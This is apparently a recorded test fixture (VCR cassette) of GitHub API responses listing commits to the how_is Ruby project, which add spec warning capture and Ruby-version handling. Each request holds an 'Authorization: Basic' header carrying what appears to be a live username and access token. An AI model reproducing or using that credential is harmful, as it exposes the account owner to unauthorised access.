X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - B1EA:25CD:A2B79:1AE4FC:5CC36AEA body: encoding: ASCII-8BIT string: '{"sha":"4ee91c664d956a303742c66774d738a9ca5c9156","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGVlOTFjNjY0ZDk1NmEzMDM3NDJjNjY3NzRkNzM4YTljYTVjOTE1Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T16:01:31Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T16:01:31Z"},"message":"Merge pull request #169 from how-is/enable-warnings-rake-spec\n\nPass -w to Ruby when running ''rake spec''.","tree":{"sha":"c66839c7f9947cf8a9b426044e52f8a36ecf66e5","url":"https://api.github.com/repos/how-is/how_is/git/trees/c66839c7f9947cf8a9b426044e52f8a36ecf66e5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4ee91c664d956a303742c66774d738a9ca5c9156","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156","html_url":"https://github.com/how-is/how_is/commit/4ee91c664d956a303742c66774d738a9ca5c9156","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f1ae158305ecb464bb00ceeed211c2129d678cd2","url":"https://api.github.com/repos/how-is/how_is/commits/f1ae158305ecb464bb00ceeed211c2129d678cd2","html_url":"https://github.com/how-is/how_is/commit/f1ae158305ecb464bb00ceeed211c2129d678cd2"},{"sha":"b0424e5105516176e2a4acfb6d3077ce8834c3c7","url":"https://api.github.com/repos/how-is/how_is/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7","html_url":"https://github.com/how-is/how_is/commit/b0424e5105516176e2a4acfb6d3077ce8834c3c7"}],"stats":{"total":73,"additions":70,"deletions":3},"files":[{"sha":"f29247f42c403faf87770f1aa1b253d7d01108c3","filename":".rubocop.yml","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/4ee91c664d956a303742c66774d738a9ca5c9156/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/4ee91c664d956a303742c66774d738a9ca5c9156/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=4ee91c664d956a303742c66774d738a9ca5c9156","patch":"@@ -4,6 +4,7 @@ AllCops:\n - ''how_is.gemspec''\n - ''bin/*''\n - ''**/*~''\n+ - ''spec/capture_warnings.rb''\n - ''lib/how_is/cli.rb'' # FIXME: Make HowIs::CLI.parse not a disaster.\n \n # Exceptions should inherit from StandardError."},{"sha":"10124b4bd28aea10470e6e941b5d667663ff2fb4","filename":".travis.yml","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/4ee91c664d956a303742c66774d738a9ca5c9156/.travis.yml","raw_url":"https://github.com/how-is/how_is/raw/4ee91c664d956a303742c66774d738a9ca5c9156/.travis.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.travis.yml?ref=4ee91c664d956a303742c66774d738a9ca5c9156","patch":"@@ -1,3 +1,4 @@\n language: ruby\n rvm:\n - 2.3.3\n+ - 2.4.1"},{"sha":"6b71b9fabf9c9bbf20f089f27734a58946ddf4f3","filename":"Rakefile","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/how-is/how_is/blob/4ee91c664d956a303742c66774d738a9ca5c9156/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/4ee91c664d956a303742c66774d738a9ca5c9156/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=4ee91c664d956a303742c66774d738a9ca5c9156","patch":"@@ -6,7 +6,10 @@ require ''timecop''\n require ''./spec/vcr_helper.rb''\n require ''how_is''\n \n-RSpec::Core::RakeTask.new(:spec)\n+RSpec::Core::RakeTask.new(:spec) do |t|\n+ # Warning.warn() was added in Ruby 2.4.0, so don''t use -w on older versions.\n+ t.ruby_opts = ''-w -r./spec/capture_warnings.rb'' if RUBY_VERSION >= ''2.4.0''\n+end\n \n task :default => :spec\n "},{"sha":"68bae51aa1ce5c46493e86bbdb1cd16408062439","filename":"lib/how_is.rb","status":"modified","additions":20,"deletions":2,"changes":22,"blob_url":"https://github.com/how-is/how_is/blob/4ee91c664d956a303742c66774d738a9ca5c9156/lib/how_is.rb","raw_url":"https://github.com/how-is/how_is/raw/4ee91c664d956a303742c66774d738a9ca5c9156/lib/how_is.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is.rb?ref=4ee91c664d956a303742c66774d738a9ca5c9156","patch":"@@ -123,7 +123,9 @@ def self.generate_frontmatter(frontmatter, report_data)\n report_data = convert_keys(report_data, :to_sym)\n \n frontmatter = frontmatter.map { |k, v|\n- v = v % report_data\n+ # Sometimes report_data has unused keys, which generates a warning, but\n+ # we''re okay with it.\n+ v = silence_warnings { v % report_data }\n \n [k, v]\n }.to_h\n@@ -159,7 +161,9 @@ def self.from_config(config,\n generated_reports = {}\n \n config[''reports''].map do |format, report_config|\n- filename = report_config[''filename''] % report_data\n+ # Sometimes report_data has unused keys, which generates a warning, but\n+ # we''re okay with it.\n+ filename = silence_warnings { report_config[''filename''] % report_data }\n file = File.join(report_config[''directory''], filename)\n \n report = report_class.export(analysis, format)\n@@ -196,4 +200,18 @@ def self.convert_keys(data, method_name)\n data.map { |k, v| [k.send(method_name), v] }.to_h\n end\n private_class_method :convert_keys\n+\n+ def self.silence_warnings(&block)\n+ with_warnings(nil, &block)\n+ end\n+ private_class_method :silence_warnings\n+\n+ def self.with_warnings(flag, &_block)\n+ old_verbose = $VERBOSE\n+ $VERBOSE = flag\n+ yield\n+ ensure\n+ $VERBOSE = old_verbose\n+ end\n+ private_class_method :with_warnings\n end"},{"sha":"f78137bd1e192973edbb0180bbbe87df256084e6","filename":"spec/capture_warnings.rb","status":"added","additions":44,"deletions":0,"changes":44,"blob_url":"https://github.com/how-is/how_is/blob/4ee91c664d956a303742c66774d738a9ca5c9156/spec/capture_warnings.rb","raw_url":"https://github.com/how-is/how_is/raw/4ee91c664d956a303742c66774d738a9ca5c9156/spec/capture_warnings.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/capture_warnings.rb?ref=4ee91c664d956a303742c66774d738a9ca5c9156","patch":"@@ -0,0 +1,44 @@\n+module Warning\n+ CODEBASE_LOCATION = File.expand_path(''../'', __dir__)\n+ BUNDLER_DIR_LOCATION = File.expand_path(''.bundle'', CODEBASE_LOCATION)\n+\n+ @@other_warnings = []\n+ @@howis_warnings = []\n+\n+ # Override Warning.warn(), so warnings from -w and -W are only printed\n+ # for things in how_is'' codebase.\n+ def self.warn(msg)\n+ path = File.realpath(caller_locations.first.path)\n+\n+ # Only print warnings for files in how_is'' codebase.\n+ if path.start_with?(CODEBASE_LOCATION) && !path.start_with?(BUNDLER_DIR_LOCATION)\n+ @@howis_warnings << msg\n+ super(msg)\n+ else\n+ @@other_warnings << msg\n+ end\n+ end\n+\n+ def howis_warnings\n+ @@howis_warnings\n+ end\n+\n+ def other_warnings\n+ @@other_warnings\n+ end\n+\n+ def self.has_warnings?\n+ @@howis_warnings.length > 0 || @@other_warnings.length > 0\n+ end\n+end\n+\n+at_exit {\n+ if Warning.has_warnings?\n+ puts \"=== Warnings ===\"\n+ puts \"#{Warning.howis_warnings.length} warnings in how_is.\"\n+ puts \"#{Warning.other_warnings.length} warnings in how_is'' dependencies.\"\n+ puts \"================\"\n+ else\n+ puts \"No warnings found in the codebase.\"\n+ end\n+}"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:42 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3358' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"112be01bdc0e7932ad840945f2b9bcbc" Last-Modified: - Fri, 14 Jul 2017 15:57:51 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 3AAF:39A6:1D4E7E:3A8C4E:5CC36AEA body: encoding: ASCII-8BIT string: '{"sha":"b0424e5105516176e2a4acfb6d3077ce8834c3c7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjA0MjRlNTEwNTUxNjE3NmUyYTRhY2ZiNmQzMDc3Y2U4ODM0YzNjNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:51Z"},"message":"don''t use parallel assignment.","tree":{"sha":"c66839c7f9947cf8a9b426044e52f8a36ecf66e5","url":"https://api.github.com/repos/how-is/how_is/git/trees/c66839c7f9947cf8a9b426044e52f8a36ecf66e5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7","html_url":"https://github.com/how-is/how_is/commit/b0424e5105516176e2a4acfb6d3077ce8834c3c7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b0424e5105516176e2a4acfb6d3077ce8834c3c7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"85fab97b59337a7d3f46683df0adac54a3554d59","url":"https://api.github.com/repos/how-is/how_is/commits/85fab97b59337a7d3f46683df0adac54a3554d59","html_url":"https://github.com/how-is/how_is/commit/85fab97b59337a7d3f46683df0adac54a3554d59"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"68bae51aa1ce5c46493e86bbdb1cd16408062439","filename":"lib/how_is.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/how-is/how_is/blob/b0424e5105516176e2a4acfb6d3077ce8834c3c7/lib/how_is.rb","raw_url":"https://github.com/how-is/how_is/raw/b0424e5105516176e2a4acfb6d3077ce8834c3c7/lib/how_is.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is.rb?ref=b0424e5105516176e2a4acfb6d3077ce8834c3c7","patch":"@@ -207,7 +207,8 @@ def self.silence_warnings(&block)\n private_class_method :silence_warnings\n \n def self.with_warnings(flag, &_block)\n- old_verbose, $VERBOSE = $VERBOSE, flag\n+ old_verbose = $VERBOSE\n+ $VERBOSE = flag\n yield\n ensure\n $VERBOSE = old_verbose"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:42 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/85fab97b59337a7d3f46683df0adac54a3554d59 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3357' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a4d403269d35a6989a4b6bca54b08b33" Last-Modified: - Fri, 14 Jul 2017 15:57:11 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - F7EE:79C9:28A5E0:52A1A7:5CC36AEA body: encoding: ASCII-8BIT string: '{"sha":"85fab97b59337a7d3f46683df0adac54a3554d59","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODVmYWI5N2I1OTMzN2E3ZDNmNDY2ODNkZjBhZGFjNTRhMzU1NGQ1OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:11Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:57:11Z"},"message":"don''t run rubocop on spec/capture_warnings.rb","tree":{"sha":"2afd331e925c5bb2a6f75f45cee1a4036331abdf","url":"https://api.github.com/repos/how-is/how_is/git/trees/2afd331e925c5bb2a6f75f45cee1a4036331abdf"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/85fab97b59337a7d3f46683df0adac54a3554d59","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/85fab97b59337a7d3f46683df0adac54a3554d59","html_url":"https://github.com/how-is/how_is/commit/85fab97b59337a7d3f46683df0adac54a3554d59","comments_url":"https://api.github.com/repos/how-is/how_is/commits/85fab97b59337a7d3f46683df0adac54a3554d59/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"83b88ab72a6caab788146724a5cf514fab30bc9b","url":"https://api.github.com/repos/how-is/how_is/commits/83b88ab72a6caab788146724a5cf514fab30bc9b","html_url":"https://github.com/how-is/how_is/commit/83b88ab72a6caab788146724a5cf514fab30bc9b"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"f29247f42c403faf87770f1aa1b253d7d01108c3","filename":".rubocop.yml","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/85fab97b59337a7d3f46683df0adac54a3554d59/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/85fab97b59337a7d3f46683df0adac54a3554d59/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=85fab97b59337a7d3f46683df0adac54a3554d59","patch":"@@ -4,6 +4,7 @@ AllCops:\n - ''how_is.gemspec''\n - ''bin/*''\n - ''**/*~''\n+ - ''spec/capture_warnings.rb''\n - ''lib/how_is/cli.rb'' # FIXME: Make HowIs::CLI.parse not a disaster.\n \n # Exceptions should inherit from StandardError."}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:42 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/83b88ab72a6caab788146724a5cf514fab30bc9b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3356' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"46af9d5513fd146a20ccaa059aab0ee9" Last-Modified: - Fri, 14 Jul 2017 15:40:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - EEC5:25F3:294480:5395A9:5CC36AEA body: encoding: ASCII-8BIT string: '{"sha":"83b88ab72a6caab788146724a5cf514fab30bc9b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODNiODhhYjcyYTZjYWFiNzg4MTQ2NzI0YTVjZjUxNGZhYjMwYmM5Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:40:42Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:40:42Z"},"message":"don''t passs -w in specs for older Ruby versions.","tree":{"sha":"0a957a52304f1689a3c002968f96a378ed1bb7e0","url":"https://api.github.com/repos/how-is/how_is/git/trees/0a957a52304f1689a3c002968f96a378ed1bb7e0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/83b88ab72a6caab788146724a5cf514fab30bc9b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/83b88ab72a6caab788146724a5cf514fab30bc9b","html_url":"https://github.com/how-is/how_is/commit/83b88ab72a6caab788146724a5cf514fab30bc9b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/83b88ab72a6caab788146724a5cf514fab30bc9b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7be2e3784e54c0f006261bef1a2e9a80bf3a7851","url":"https://api.github.com/repos/how-is/how_is/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851","html_url":"https://github.com/how-is/how_is/commit/7be2e3784e54c0f006261bef1a2e9a80bf3a7851"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"6b71b9fabf9c9bbf20f089f27734a58946ddf4f3","filename":"Rakefile","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/how-is/how_is/blob/83b88ab72a6caab788146724a5cf514fab30bc9b/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/83b88ab72a6caab788146724a5cf514fab30bc9b/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=83b88ab72a6caab788146724a5cf514fab30bc9b","patch":"@@ -7,7 +7,8 @@ require ''./spec/vcr_helper.rb''\n require ''how_is''\n \n RSpec::Core::RakeTask.new(:spec) do |t|\n- t.ruby_opts = ''-w -r./spec/capture_warnings.rb''\n+ # Warning.warn() was added in Ruby 2.4.0, so don''t use -w on older versions.\n+ t.ruby_opts = ''-w -r./spec/capture_warnings.rb'' if RUBY_VERSION >= ''2.4.0''\n end\n \n task :default => :spec"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:43 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/7be2e3784e54c0f006261bef1a2e9a80bf3a7851 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:43 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3355' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d0ded65043d714361b11bcfebe5a3b6c" Last-Modified: - Fri, 14 Jul 2017 15:30:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - B0D5:424F:145015:325027:5CC36AEB body: encoding: ASCII-8BIT string: '{"sha":"7be2e3784e54c0f006261bef1a2e9a80bf3a7851","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2JlMmUzNzg0ZTU0YzBmMDA2MjYxYmVmMWEyZTlhODBiZjNhNzg1MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:30:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T15:30:20Z"},"message":"[travis] run tests on Ruby 